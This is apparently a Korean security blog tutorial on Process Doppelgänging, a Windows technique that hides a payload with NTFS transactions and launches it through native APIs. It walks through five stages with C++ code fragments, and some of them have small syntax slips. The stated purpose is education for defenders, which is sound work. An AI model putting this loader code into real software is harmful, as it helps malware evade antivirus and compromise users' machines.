Overview
2017년 말에 발표된 새로운 공격 기법으로, 기존의 Injection 방식과는 다른 방식을 사용한다. 특징은 아래와 같다.
- 파일 기반 탐지 방식 위주의 백신사가 대부분 탐지하지 못하는 공격 기법
- NTFS 의 Transaction 기능을 이용한다는 점
공격 가능한 대상은 아래와 같다.
- Windows Vista 부터 Windows 10 이전 (Windows 10 에서는 BSoD 발생)
기존의 잘 알려진 방식의 공격 기법으로는 아래와 같다.
- Process 를 Creation Flag - Suspended 상태로 생성 후 Payload 내용으로 교체
- 원격 스레드를 생성하여 Payload 실행
하지만 Process Doppelganging 공격의 핵심은 NTFS 의 Transaction 기능을 이용하는 것이다. Windows NTFS 에서 Transactions 는 하나의 작업 단위로 묶은 것으로, 쉽게 말해 발생한 동작들을 구분하여 저장하는 것이다. 그리고 필요할 경우 이 구분 된 동작의 과정을 되돌리는 것이다.
// 아래에서 설명할 Code 는 이해를 쉽게 하기 위해 2 개를 혼용한 것이다. 정확한 동작 Code 가 궁금하다면, Reference 의 PoC Code 1, 2 를 보면 된다.
Execute
악성 파일을 생성 후 실행할 때, File I/O 를 Transaction 로 열고 Commit 이 아닌 Rollback 을 한다. 이로 인해 OS 에서는 파일이 생성되지 않은 것이 된다.
사용되는 API 는 아래와 같다.
CreateTransaction |
CreateFileTransacted |
WriteFile |
NtCreateSection |
RollBackTransaction |
NtCreateProcessEx |
필자가 아래와 같이 임의로 5 단계로 나누어 설명할 것이다
Step 1 : open a transaction file i/o
Step 2 : load a payload section from dummy file
Step 3 : create a process
Step 4 : setting PEB
Step 5 : Update PEB and create a primary thread
Step 1
Transaction File I/O 를 생성하기 위해 먼저, Transaction Object 를 생성한다.
HANDLE hTransaction = CreateTransaction(nullptr, nullptr, options, isolationLvl, isolationFlags, timeout, nullptr);
if (hTransaction == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transaction!" << std::endl;
return false;
}
생성한 Transaction Object 를 가지고 Transaction 가능한 File I/O 를 생성한다. 여기서 생성할 File 은 어차피 저장되지 않을 Dummy 파일이다.
HANDLE hTransactedFile = CreateFileTransactedW(dummy_name,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL
);
if (hTransactedFile == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create transacted file: " << GetLastError() << std::endl;
return false;
}
DWORD writtenLen = 0;
if (!WriteFile(hTransactedFile, payladBuf, payloadSize, &writtenLen, NULL)) {
std::cerr << "Failed writing payload! Error: " << GetLastError() << std::endl;
return false;
}
Step 2
생성한 더미 파일을 가지고 새로운 Section 을 만들어준다. 이 때 생성한 Section 은 뒤에서 새로운 Process 의 Base 가 된다.
HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection,
SECTION_ALL_ACCESS,
NULL,
0,
PAGE_READONLY,
SEC_IMAGE,
hTransactedFile
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateSection failed" << std::endl;
return false;
Dummy File 의 내용을 Section 에 Load 하였으므로, 더 이상 Dummy File 은 쓸모 없다. 이제 Transaction 을 Rollback 해주어 Disk 에 Data 가 남지 않게 한다.
CloseHandle(hTransactedFile);
hTransactedFile = nullptr;
if (RollbackTransaction(hTransaction) == FALSE) {
std::cerr << "RollbackTransaction failed: " << GetLastError() << std::endl;
return false;
}
CloseHandle(hTransaction);
Step 3
상기의 과정을 통해 Dummy File 로부터 만든 Section 이 존재하며, Dummy File 은 Disk 에 존재하지 않는 상태이다. 이제 Process 를 생성할 것이다. 여기서 일반적으로 Process 를 생성할 때 사용하는 API 는 아래와 같다.
- CreateProcess
- WinExec
- ShellExecute
위 세 가지는 공통적으로 대상 파일의 이름(Path) 을 요구한다. 하지만, Dummy File 은 이미 남아있지 않은 상태이며, 해당 Payload 가 담긴 Section 만이 존재한다. 이를 해결하기 위해 프로세스 생성 과정의 내부를 좀 더 자세히 보면 NtCreateProcessEx 함수가 호출 되는 것을 알 수 있다. 해당 API 는 파일 경로가 아닌 PE 이미지 내용이 담긴 Section 을 필요로 한다.
typedef NTSTATUS(NTAPI *fpNtCreateProcessEx)
{
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ParentProcess,
IN ULONG Flags,
IN HANDLE SectionHandle OPTIONAL,
IN HANDLE DebugPort OPTIONAL,
IN HANDLE ExceptionPort OPTIONAL,
IN BOOLEAN InJob
};
다시 말해, NtCreateProcessEx 함수와 Dummy File 로부터 생성한 Section 을 가지고 새로운 프로세스를 실행할 수 있게 된다.
HANDLE hProcess = nullptr;
status = NtCreateProcessEx(
&hProcess, //ProcessHandle
PROCESS_ALL_ACCESS, //DesiredAccess
NULL, //ObjectAttributes
NtCurrentProcess(), //ParentProcess
PS_INHERIT_HANDLES, //Flags
hSection, //sectionHandle
NULL, //DebugPort
NULL, //ExceptionPort
);
if (status != STATUS_SUCCESS) {
std::cerr << "NtCreateProcessEx failed" << std::endl;
return false;
Step 4
프로세스의 전체적인 Base 를 만들어 준 뒤, 실제 동작할 수 있도록 몇 가지 설정(Parameter, PEB, ETC.)을 직접 해주어야 한다. 우선 새로 생성한 Process 의 PEB 에 접근하여 ImageBase 를 가지고 온 뒤, Step 1 에서의 Payload Buffer 로부터 AddressOfEntryPoint 를 읽어와 더한다.
status = NtQueryInformationProcess(
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&ReturnLength
);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtQueryInformationProcess failed");
break;
}
status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtReadVirtualMemory failed");
break;
}
EntryPoint = (ULONG_PTR)RtlImageNtHeader(payladBuf))->OptionalHeader.AddressOfEntryPoint;
EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;
public struct ProcessBasicInformation {
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public UIntPtr InheritedFromUniqueProcessId;
}
Process 의 겉모양은 만들어졌지만, 아직 어떠한 프로세스의 이름을 갖는지 등에 대한 정보가 존재하지 않는다. 이러한 Process 의 Parameter 를 설정해주기 위하여 Parameter Block 을 만든다.
//
// Create process parameters block.
//
RtlInitUnicodeString(&ustr, lpTargetApp);
status = RtlCreateProcessParametersEx(
&ProcessParameters, // pointer to parameter block.
&ustr,
NULL,
NULL,
&ustr,
NULL,
NULL,
NULL,
NULL,
NULL,
RTL_USER_PROC_PARAMS_NORMALIZED);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"RtlCreateProcessParametersEx failed");
break;
}
가지고 온 Parameter Block 을 생성한 Process 에 공간을 할당 후 기록해준다.
//
// Allocate memory in target process and write process parameters block.
//
sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;
MemoryPtr = ProcessParameters;
status = NtAllocateVirtualMemory(hProcess,
&MemoryPtr,
0,
&sz,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtAllocateVirtualMemory(ProcessParameters) failed");
break;
}
sz = 0;
status = NtWriteVirtualMemory(hProcess,
ProcessParameters, // target memory address
ProcessParameters, // buffer
ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength,
&sz);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtWriteVirtualMemory(ProcessParameters) failed");
break;
}
Step 5
마지막 단계에서는 위에서 만든 설정들을 실제 PEB 에 연결시킨다.
//
// Update PEB->ProcessParameters pointer to newly allocated block.
//
Peb = pbi.PebBaseAddress;
status = NtWriteVirtualMemory(hProcess,
&Peb->ProcessParameters,
&ProcessParameters,
sizeof(PVOID),
&sz
);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtWriteVirtualMemory(Peb->ProcessParameters) failed");
break;
}
최종적으로 동작을 실행할 Thread 를 만들어준다.
//
// Create primary thread.
//
hThread = NULL;
status = NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)EntryPoint,
NULL,
FALSE,
0,
0,
0,
NULL
);
if (!NT_SUCCESS(status)) {
OutputDebugString(L"NtCreateThreadEx(EntryPoint) failed");
break;
Conclusion
잘 알려진 다른 공격기법에 비해 다소 생소한 API 와 번거로운 과정을 거쳐야 한다는 것을 알 수 있다. 그렇다고 어려운 과정은 아니다. 보안 공부를 하는 입장에서 이러한 기법에 대해 알고 대응 할 수 있도록 해야한다.
Source Code
News